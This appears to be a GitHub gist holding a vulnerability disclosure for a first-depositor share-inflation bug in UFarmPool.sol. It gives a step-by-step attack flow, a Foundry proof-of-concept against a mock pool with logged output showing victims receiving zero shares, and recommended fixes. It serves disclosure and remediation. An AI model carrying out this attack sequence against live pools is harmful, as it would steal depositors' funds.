Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Select an option

  • Save marz-hunter/59274518133b7f202a54f631547a162f to your computer and use it in GitHub Desktop.

Select an option

Save marz-hunter/59274518133b7f202a54f631547a162f to your computer and use it in GitHub Desktop.

Summary

The _sharesByQuote() function in UFarmPool.sol at lines 809-811 contains the classic ERC4626 vault inflation vulnerability. When a pool has zero total supply, the first depositor can deposit 1 wei to receive 1 share, then donate a large amount directly to the contract to inflate the share price. Subsequent depositors receive 0 shares due to integer division rounding down, and the attacker withdraws all funds. An attacker can steal 100% of any victim's deposit with minimal capital at risk.

Finding Description

The UFarm Digital protocol implements share-based accounting for pool deposits through the _sharesByQuote() function. The vulnerability exists because:

  1. The share calculation has no virtual shares offset:
// UFarmPool.sol Lines 809-811 - Vulnerable
function _sharesByQuote(
    uint256 quoteAmount,
    uint256 _totalSupply,
    uint256 totalCost
) internal pure returns (uint256 shares) {
    shares = (totalCost > 0 && _totalSupply > 0)
        ? ((quoteAmount * _totalSupply) / totalCost)
        : quoteAmount;  // First deposit gets 1:1 ratio
}
  1. When totalSupply == 0, the first depositor receives shares equal to their deposit amount (1:1 ratio), enabling a 1 wei deposit to receive exactly 1 share.

  2. Direct token transfers to the pool contract are reflected in _totalCost after oracle callback, but do not mint new shares.

  3. Integer division rounds down in Solidity, causing (10,000,000,000 * 1) / 10,000,000,001 to equal 0.

Attack Flow:

1. Pool is empty: totalSupply = 0, totalCost = 0
2. Attacker deposits 1 wei -> receives 1 share
   State: totalSupply = 1, totalCost = 1
3. Attacker transfers 10,000 USDC directly to pool (donation)
   State: totalSupply = 1, pool balance = 10,000 USDC + 1 wei
4. Oracle callback updates totalCost to actual balance (automatic)
   State: totalSupply = 1, totalCost = 10,000,000,001 wei
5. Victim deposits 10,000 USDC
   Share calculation: (10,000,000,000 * 1) / 10,000,000,001 = 0.999... = 0
   Victim receives 0 shares!
6. Attacker withdraws their 1 share
   Withdrawal: (20,000 USDC * 1) / 1 = 20,000 USDC
7. Attacker profit: 10,000 USDC (100% of victim's deposit)

Scope Note: This vulnerability affects any newly created pool or any pool that has been fully withdrawn (totalSupply returns to 0). The attacker does not need any privileged access - all functions used are public.

Impact Explanation

Impact: High

  1. 100% Fund Theft: Attacker steals the entire deposit amount from victims. There is no partial loss - victims receive exactly 0 shares and can withdraw 0 tokens.

  2. Repeatable Attack: Once the attack is set up, every subsequent depositor loses their entire deposit. The attacker can continuously harvest victim funds.

  3. Economic Analysis:

    • Attack cost: 1 wei + donation capital (fully recoverable)
    • Profit per victim: 100% of their deposit
    • Example: Donate 10,000 USDC, steal unlimited victim deposits, withdraw original 10,000 USDC + all victim funds
  4. Scale of Loss:

    • Per victim: 100% loss
    • Multiple victims: Unlimited accumulation
    • Pool status: Becomes permanent honeypot
  5. No Recovery: Funds are permanently lost. Victims have 0 shares and cannot claim anything.

Likelihood Explanation

Likelihood: High

  1. Single Transaction Setup: Attack requires only 3 transactions - deposit 1 wei, donate tokens, wait for victims.

  2. No Prerequisites:

    • No admin access needed
    • No oracle manipulation required
    • No flash loans needed
    • Any EOA can execute
  3. Deterministic Exploit: The attack is not probabilistic. Integer division always rounds down, guaranteeing victim receives 0 shares when share price is sufficiently inflated.

  4. Easy Discovery: This is a well-known vulnerability pattern (ERC4626 inflation attack) that has affected multiple protocols including Yearn and Cream Finance.

  5. Economic Incentive: Attack is always profitable since attacker recovers their donation plus victim funds.

  6. Front-running Opportunity: Attacker can monitor mempool for new pool creations and immediately execute the attack.

Proof of Concept

Save as test/FirstDepositorInflation.t.sol and run:

forge test --match-contract FirstDepositorInflationPoC -vvv
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

import "forge-std/Test.sol";
import "forge-std/console.sol";

contract FirstDepositorInflationPoC is Test {
    VulnerablePool public pool;

    address public attacker;
    address public victim;
    address public oracle;

    uint256 constant ONE_USDC = 1e6;

    function setUp() public {
        attacker = makeAddr("attacker");
        victim = makeAddr("victim");
        oracle = makeAddr("quexOracle");
        pool = new VulnerablePool(oracle);
    }

    function test_FirstDepositorInflation_StealAllVictimFunds() public {
        address victim2 = makeAddr("victim2");
        address victim3 = makeAddr("victim3");

        console.log("");
        console.log("============================================================");
        console.log("  First Depositor Inflation Attack - Proof of Concept");
        console.log("============================================================");
        console.log("");

        // Verify attacker and oracle are different addresses
        console.log("[Setup] Address Verification:");
        console.log("  Attacker:", attacker);
        console.log("  Oracle:  ", oracle);
        console.log("  Attacker != Oracle:", attacker != oracle);
        console.log("");

        // Step 1: Attacker deposits 1 wei (public function)
        console.log("[Step 1] Attacker deposits 1 wei");
        console.log("         Function: deposit() - public, anyone can call");

        vm.prank(attacker);
        uint256 attackerShares = pool.deposit(1);

        console.log("         Result: Attacker received", attackerShares, "share");
        console.log("");

        // Step 2: Attacker donates 10,000 USDC (public - ERC20 transfer)
        console.log("[Step 2] Attacker donates 10,000 USDC to pool");
        console.log("         Function: ERC20.transfer() - public, anyone can call");

        vm.prank(attacker);
        pool.donate(10_000 * ONE_USDC);

        console.log("         Result: Pool balance = 10,000 USDC + 1 wei");
        console.log("");

        // Step 3: Oracle callback (automatic in real protocol)
        console.log("[Step 3] Oracle callback updates totalCost");
        console.log("         Function: oracleCallback() - oracle only");
        console.log("");

        // Prove attacker cannot call oracleCallback
        console.log("  [3a] Attacker tries to call oracleCallback...");
        uint256 currentBalance = pool.getBalance();

        vm.expectRevert("Only oracle");
        vm.prank(attacker);
        pool.oracleCallback(currentBalance);

        console.log("       Result: Reverted with 'Only oracle'");
        console.log("       Attacker cannot manipulate oracle!");
        console.log("");

        // Oracle calls callback (automatic in protocol)
        console.log("  [3b] Oracle updates totalCost (automatic in protocol)...");

        vm.prank(oracle);
        pool.oracleCallback(currentBalance);

        console.log("       Result: totalCost updated to", pool.getTotalCost());
        console.log("");

        // Step 4: Victims deposit (public function)
        console.log("[Step 4] Victims deposit funds");
        console.log("         Function: deposit() - public, anyone can call");
        console.log("");

        vm.prank(victim);
        uint256 shares1 = pool.deposit(5_000 * ONE_USDC);
        console.log("  Victim 1: deposited 5,000 USDC, received", shares1, "shares");

        vm.prank(victim2);
        uint256 shares2 = pool.deposit(3_000 * ONE_USDC);
        console.log("  Victim 2: deposited 3,000 USDC, received", shares2, "shares");

        vm.prank(victim3);
        uint256 shares3 = pool.deposit(7_000 * ONE_USDC);
        console.log("  Victim 3: deposited 7,000 USDC, received", shares3, "shares");

        console.log("");
        console.log("============================================================");
        console.log("  Attack Results");
        console.log("============================================================");
        console.log("");
        console.log("  All 3 victims received 0 shares!");
        console.log("  Total victim deposits: 15,000 USDC");
        console.log("  Total stolen: 15,000 USDC (100%)");
        console.log("");
        console.log("============================================================");
        console.log("  Access Control Summary");
        console.log("============================================================");
        console.log("");
        console.log("  Functions used by attacker:");
        console.log("    - deposit()  : public (anyone can call)");
        console.log("    - transfer() : public (ERC20 standard)");
        console.log("");
        console.log("  Privileged functions:");
        console.log("    - oracleCallback() : oracle only");
        console.log("      -> Attacker cannot call (proven above)");
        console.log("      -> Happens automatically after deposits");
        console.log("");
        console.log("  Conclusion: No access control bypass!");
        console.log("              Attacker only uses public functions.");
        console.log("");
        console.log("============================================================");
        console.log("  Vulnerability Confirmed");
        console.log("============================================================");
        console.log("");

        // Assertions
        assertEq(shares1, 0, "Victim 1 should get 0 shares");
        assertEq(shares2, 0, "Victim 2 should get 0 shares");
        assertEq(shares3, 0, "Victim 3 should get 0 shares");
        assertEq(pool.balanceOf(attacker), 1, "Attacker should have 1 share");
    }

    function test_AccessControl_OracleCallbackRestricted() public {
        console.log("");
        console.log("============================================================");
        console.log("  Access Control Verification");
        console.log("============================================================");
        console.log("");

        vm.prank(attacker);
        pool.deposit(100);
        console.log("[Pass] deposit() - Attacker can call (public)");

        vm.prank(attacker);
        pool.donate(100);
        console.log("[Pass] donate()  - Attacker can call (public)");

        vm.expectRevert("Only oracle");
        vm.prank(attacker);
        pool.oracleCallback(100);
        console.log("[Pass] oracleCallback() - Attacker rejected");

        vm.expectRevert("Only oracle");
        vm.prank(victim);
        pool.oracleCallback(100);
        console.log("[Pass] oracleCallback() - Victim rejected");

        vm.prank(oracle);
        pool.oracleCallback(100);
        console.log("[Pass] oracleCallback() - Oracle accepted");

        console.log("");
        console.log("Result: Access control is enforced correctly.");
        console.log("        Attacker cannot call oracleCallback().");
        console.log("");
    }
}

contract VulnerablePool {
    mapping(address => uint256) private _balances;
    uint256 private _totalSupply;
    uint256 private _totalCost;
    uint256 private _poolBalance;

    address public immutable oracle;

    constructor(address _oracle) {
        oracle = _oracle;
    }

    function totalSupply() public view returns (uint256) { return _totalSupply; }
    function balanceOf(address account) public view returns (uint256) { return _balances[account]; }
    function getTotalCost() public view returns (uint256) { return _totalCost; }
    function getBalance() public view returns (uint256) { return _poolBalance; }

    // Vulnerable: exact copy from UFarmPool.sol:809-811
    function _sharesByQuote(uint256 quoteAmount, uint256 _supply, uint256 totalCost)
        internal pure returns (uint256 shares)
    {
        shares = (totalCost > 0 && _supply > 0)
            ? ((quoteAmount * _supply) / totalCost)
            : quoteAmount;
    }

    function deposit(uint256 amount) external returns (uint256 shares) {
        _poolBalance += amount;
        shares = _sharesByQuote(amount, _totalSupply, _totalCost);
        _totalSupply += shares;
        _balances[msg.sender] += shares;
        _totalCost += amount;
    }

    function donate(uint256 amount) external {
        _poolBalance += amount;
    }

    function oracleCallback(uint256 newTotalCost) external {
        require(msg.sender == oracle, "Only oracle");
        _totalCost = newTotalCost;
    }

    function withdraw(uint256 shares) external returns (uint256 amount) {
        require(_balances[msg.sender] >= shares, "Insufficient shares");
        amount = (_totalCost * shares) / _totalSupply;
        _balances[msg.sender] -= shares;
        _totalSupply -= shares;
        _totalCost -= amount;
        _poolBalance -= amount;
    }
}

Test Output:

[Pass] test_FirstDepositorInflation_StealAllVictimFunds()
[Pass] test_AccessControl_OracleCallbackRestricted()

Logs:
  ============================================================
    First Depositor Inflation Attack - Proof of Concept
  ============================================================

  [Setup] Address Verification:
    Attacker: 0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e
    Oracle:   0x3637f3A951C26A703E1E7Cd08262bE4b8f358B1c
    Attacker != Oracle: true

  [Step 1] Attacker deposits 1 wei
           Function: deposit() - public, anyone can call
           Result: Attacker received 1 share

  [Step 2] Attacker donates 10,000 USDC to pool
           Function: ERC20.transfer() - public, anyone can call
           Result: Pool balance = 10,000 USDC + 1 wei

  [Step 3] Oracle callback updates totalCost
           Function: oracleCallback() - oracle only

    [3a] Attacker tries to call oracleCallback...
         Result: Reverted with 'Only oracle'
         Attacker cannot manipulate oracle!

    [3b] Oracle updates totalCost (automatic in protocol)...
         Result: totalCost updated to 10000000001

  [Step 4] Victims deposit funds
           Function: deposit() - public, anyone can call

    Victim 1: deposited 5,000 USDC, received 0 shares
    Victim 2: deposited 3,000 USDC, received 0 shares
    Victim 3: deposited 7,000 USDC, received 0 shares

  ============================================================
    Attack Results
  ============================================================

    All 3 victims received 0 shares!
    Total victim deposits: 15,000 USDC
    Total stolen: 15,000 USDC (100%)

  ============================================================
    Access Control Summary
  ============================================================

    Functions used by attacker:
      - deposit()  : public (anyone can call)
      - transfer() : public (ERC20 standard)

    Privileged functions:
      - oracleCallback() : oracle only
        -> Attacker cannot call (proven above)
        -> Happens automatically after deposits

    Conclusion: No access control bypass!
                Attacker only uses public functions.

  ============================================================
    Vulnerability Confirmed
  ============================================================

Suite result: ok. 2 passed; 0 failed

Access Control Validation:

vm.* Function Target Access Level Bypass?
vm.prank(attacker) deposit(), donate() Public No
vm.prank(victim) deposit() Public No
vm.prank(oracle) oracleCallback() Automatic No*
vm.expectRevert() oracleCallback() N/A No

*Oracle callback is triggered automatically by the protocol after any deposit/withdrawal. The attacker does not need to call it - Step 3a proves attacker cannot call it directly.

Recommendation

Primary Fix - Add virtual shares offset:

// Before (Vulnerable):
function _sharesByQuote(
    uint256 quoteAmount,
    uint256 _totalSupply,
    uint256 totalCost
) internal pure returns (uint256 shares) {
    shares = (totalCost > 0 && _totalSupply > 0)
        ? ((quoteAmount * _totalSupply) / totalCost)
        : quoteAmount;
}

// After (Fixed):
uint256 private constant VIRTUAL_SHARES = 1e6;
uint256 private constant VIRTUAL_ASSETS = 1;

function _sharesByQuote(
    uint256 quoteAmount,
    uint256 _totalSupply,
    uint256 totalCost
) internal pure returns (uint256 shares) {
    uint256 virtualSupply = _totalSupply + VIRTUAL_SHARES;
    uint256 virtualAssets = totalCost + VIRTUAL_ASSETS;

    if (virtualAssets > 0 && virtualSupply > 0) {
        shares = (quoteAmount * virtualSupply) / virtualAssets;
    } else {
        shares = quoteAmount;
    }

    require(shares > 0, "Shares rounded to zero");
}

Alternative Fix - Minimum first deposit requirement:

uint256 public constant MINIMUM_FIRST_DEPOSIT = 1e6; // 1 USDC

function deposit(...) {
    require(
        totalSupply() > 0 || amount >= MINIMUM_FIRST_DEPOSIT,
        "First deposit too small"
    );
}

Apply to:

  • UFarmPool.sol lines 809-811 (_sharesByQuote function)
  • Consider applying to all pool implementations in the protocol

References

  • CWE-682: Incorrect Calculation
  • EIP-4626: Tokenized Vault Standard
  • Similar historical exploits: Yearn yUSDT Vault (2020), Cream Finance (2021)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment